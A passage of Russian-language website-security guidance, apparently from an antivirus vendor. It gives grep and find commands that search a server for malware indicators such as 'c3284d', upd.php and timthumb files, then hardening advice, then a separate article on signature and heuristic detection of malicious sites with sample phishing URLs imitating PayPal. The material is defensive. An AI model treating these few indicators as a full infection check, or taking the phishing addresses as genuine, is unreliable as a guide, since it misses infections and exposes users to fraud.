grep -iRs “c3284d” *
find . -iname “upd.php”
find . -iname “*timthumb*”

Описание grep (из руководства Linux): печать строк, соответствующих шаблону; опция -i означает игнорировать регистр; -R означает рекурсивный поиск, а -s предотвращает показ сообщений об ошибках. Первая из перечисленных команд ищет в файлах тэги IFRAME; три остальные ищут наиболее явные признаки обфускации; остальные ищут особые строки, связанные с крупнейшими известными заражениями веб-сайтов.

Что касается find, в руководстве Linux указано: поиск файлов в иерархической структуре папок; «.» (точка) указывает на текущую директорию (так что запускать данные команды следует из корневой директории или домашнего (home) каталога на сервере), параметр -iname определяет файл, который следует искать. Можно использовать регулярные выражения для поиска всех файлов, соответствующих неким критериям.

Разумеется, всегда нужно знать, что именно искать - не все результаты будут указывать на заражение. Неплохо проверить подозрительные части кода антивирусным сканером или попробовать поискать их в google. Очень вероятно, что вы найдете некоторые ответы - как для вредоносного, так и для чистого кода. Если вы по-прежнему не уверены, заражен ли файл, лучше всего деактивировать веб-сайт (на всякий случай) и до принятия каких-либо действий обратиться за советом к специалисту.

Очень важно!

Помимо очистки файлов на сервере необходимо обязательно произвести полную антивирусную проверку всех компьютеров, используемых для загрузки и управления контентом на сервере и сменить все данные для доступа ко всем аккаунтам на сервере (FTP, SSH, панели управления и т.д.), которые вы поддерживаете.

Основы безопасности для веб-сайтов

К сожалению, в большинстве случаев удаления вредоносного кода недостаточно для того, чтобы избавиться от заражения раз и навсегда. Если ваш веб-сайт заражен, возможно, это говорит о существовании уязвимостей, которые позволили киберпреступникам внедрить вредоносные скрипты на сервер; и если вы оставите без внимания эту проблему, в ближайшем будущем вас ждут новые заражения. Чтобы это предотвратить, необходимо принять соответствующие меры для защиты сервера и компьютера/компьютеров, используемых для администрирования сервера.

• Использование стойких паролей. Несмотря на тривиальность этого совета, это действительно основа безопасности сервера. Необходимо не только менять пароли после каждого инцидента и/или атаки на сервер - они должны меняться на регулярной основе, например ежемесячно. Хороший пароль должен соответствовать особым критериям, о которых можно узнать на www.kaspersky.com/passwords ;
• Регулярное обновление. Необходимо также не забывать о регулярных обновлениях. Киберпреступники часто эксплуатируют уязвимости в ПО независимо от цели вредоносной программы - направлена ли она на пользователей ПК или на веб-сайты. Все программы, с помощью которых вы управляете вашим сервером / контентом сайта, должны быть самых последних версий, а каждое обновление безопасности должно устанавливаться сразу же по его выходе. Использование актуальных версий ПО и своевременная установка всех необходимых патчей поможет снизить риск атаки с использованием эксплойтов. Регулярно обновляемый список известных уязвимостей можно найти на сайте http://cve.mitre.org/ ;
• Регулярное создание резервных копий. Имея в запасе чистую копию серверного контента, вы сэкономите массу времени и усилий, не говоря о том, что свежие резервные копии могут, помимо лечения заражения, оказаться очень полезны и в решении других проблем;
• Регулярная проверка файлов. Даже при отсутствии явных симптомов заражения рекомендуется периодическое сканирование всех файлов на сервере на предмет выявления вредоносного кода;
• Обеспечение безопасности ПК. Поскольку значительное количество вредоносного ПО для веб-сайтов распространяется через заражённые ПК, безопасность стационарного компьютера, используемого для управления вашим веб-сайтом, является одним из приоритетных аспектов безопасности веб-сайта. Непрерывная поддержка чистоты и безопасности вашего компьютера существенно увеличивает вероятность того, что ваш веб-сайт также будет в безопасности и защищен от вирусов.
• Обязательными (но не достаточными) должны быть следующие действия:
  • удаление неиспользуемых программ;
  • деактивация ненужных сервисов и модулей;
  • настройка соответствующих политик для отдельных пользователей и групп пользователей;
  • установка адекватных прав доступа к определенным файлам и директориям;
  • отключение показа файлов и каталогов веб-сервера;
  • ведение журналов событий, регулярно проверяемых на наличие подозрительной активности;
  • использование шифрования и безопасных протоколов.

Вредоносное ПО, предназначенное для заражения веб-сайтов, может стать настоящим кошмаром для веб-администраторов и интернет-пользователей. Киберпреступники непрерывно развивают свои технологии, открывая новые эксплойты. Зловреды стремительно распространяются через интернет, поражая серверы и рабочие станции. Справедливо сказать, что надежного способа полностью устранить данную угрозу не существует. Однако каждый владелец веб-сайта и каждый интернет-пользователь может сделать интернет безопаснее, соблюдая основные правила безопасности и постоянно поддерживая безопасность и чистоту своих веб-сайтов и компьютеров.

Оставьте свой комментарий!

В настоящее время большинство компьютерных атак происходит при посещении вредоносных веб-страниц. Пользователь может быть введен в заблуждение, предоставляя конфиденциальные данные фишинг-сайту или стать жертвой атаки drive-by download, использующую браузерные уязвимости. Таким образом, современный антивирус должен обеспечивать защиту не только непосредственно от вредоносного ПО, но и от опасных веб-ресурсов.

Антивирусные решения используют различные методы для выявления сайтов с вредоносным ПО: сравнение базы данных сигнатур и эвристический анализ. Сигнатуры используются для точного определения известных угроз, в то время как эвристический анализ определяет вероятность опасного поведения. Использование базы вирусов является более надежным методом, обеспечивающим минимальное количество ложных срабатываний. Однако данный метод не позволяет обнаруживать неизвестные новейшие угрозы.

Появившаяся угроза сначала должна быть обнаружена и проанализирована сотрудниками лаборатории антивирусного вендора. На основании анализа создается соответствующая сигнатура, которая может быть использована для нахождения вредоносного ПО. Напротив, эвристический метод применяется для выявления неизвестных угроз на основании подозрительных поведенческих факторов. Данный способ оценивает вероятность опасности, поэтому возможны ложные срабатывания.

При обнаружении вредоносных ссылок оба метода могут работать одновременно. Чтобы добавить опасный ресурс в список запрещенных сайтов (blacklist) необходимо провести анализ, загрузив содержимое и просканировав его при помощи антивируса или системы обнаружения вторжений (Intrusion Detection System).

Ниже представлен лог событий системы Suricata IDS при блокировании эксплойтов:

Пример отчета системы IDS с указанием угроз, определенных с помощью сигнатур:

Пример предупреждения антивируса Ad–Aware при посещении вредоносного сайта:

Эвристический анализ выполняется на клиентской стороне для проверки посещаемых сайтов. Специально разработанные алгоритмы предупреждают пользователя в случае, если посещаемый ресурс отвечает опасным или подозрительным характеристикам. Данные алгоритмы могут быть построены на лексическом анализе контента или на оценки расположения ресурса. Лексическая модель определения используется для предупреждения пользователя при фишинг-атаках. Например URL адрес вида “http://paaypall.5gbfree.com/index.php ” или “http://paypal-intern.de/secure/ ” легко определяются как фишинг-копии известной платежной системы “paypal”.

Анализ размещения ресурса собирает информацию о хостинге и о доменном имени. На основании полученных данных специализированный алгоритм определяет степень опасности сайта. Эти данные обычно включают географические данные, информацию о регистраторе и о лице, зарегистрировавшем домен.

Ниже представлен пример размещения нескольких фишинг-сайтов на одном IP-адресе:

В конечном счете, несмотря на множество способов оценки сайтов, ни она методика не может дать 100%-ной гарантии защиты Вашей системы. Только совместное использование нескольких технологии компьютерной безопасности позволяет дать определенную уверенность в защите персональных данных.